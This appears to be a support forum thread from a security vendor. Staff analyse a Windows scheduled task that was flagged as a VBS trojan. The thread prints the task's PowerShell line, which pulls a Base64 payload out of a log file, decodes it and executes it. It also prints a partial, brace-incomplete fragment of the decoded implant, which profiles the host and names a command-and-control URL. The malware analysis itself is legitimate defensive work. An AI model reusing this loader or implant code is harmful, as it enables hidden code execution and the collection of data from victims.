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.vbs run task (from microsoft) detected as trojan


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Can you please attach a copy of the task located here:


Trojan.VBS.TaskExecution, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\NetService\Network\NetServices


It may have to be zipped in order to attach. 


i have disabled the rule for now till further investigation of the task. There is a malware that is currently misuing the vbs script using a task with the syncappserver.vbs by microsoft to decode itself and run. It hides itself in legit text files/logs and uses this vbs to decode the malware portion out of the txt file. 

A copy of the legit task would help us better to write a rule not to hit it. 






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This is not a fp .


 <Arguments>"n; $a=Get-Content "C:\Windows\logs\system-logs.txt" | Select -Index 17033;$script_decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a)); $script_block = [Scriptblock]::Create($script_decoded);Invoke-Command $script_block</Arguments>


can you zip and attach this file also?



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There is a Base64 encoded script embedded in that, what is supposed to be just  a LOG file.


scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$EndPointURL = "http://api.private-chatting.com/connect";
$__Version__ = "M_35";
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString();
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle);

function XF3a8JO3r5r8G([string] $str) {
    return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")

function WMI([string] $class, [string] $value) {
    $val = $null;
    $results = (Get-WmiObject -Class $class) ;
    foreach ($item in $results) {
        $val = $item[$value];
    if ($val -eq $null) {
        $val = [Guid]::NewGuid().ToString();
    return $val;
function Get-HWID() {
    return (WMI 'win32_logicaldisk' "VolumeSerialNumber") 

function ik9hXhN11R() {
    return (WMI 'Win32_OperatingSystem' "Caption") 

function P9TEtu77LCNtD() {
    return (WMI 'Win32_Processor' "AddressWidth") 

function av_enabled([uint32]$state) {
    [byte[]] $bytes = [System.BitConverter]::GetBytes($state);
    if (($bytes[1] -eq 0x10) -or ($bytes[1] -eq 0x11)) {
        return "Enabled";
    elseif (($bytes[1] -eq 0x00) -or ($bytes[1] -eq 0x01) -or ($bytes[1] -eq 0x20) -or ($bytes[1] -eq 0x21)) {
        return "Disabled";
    return "Unknown";



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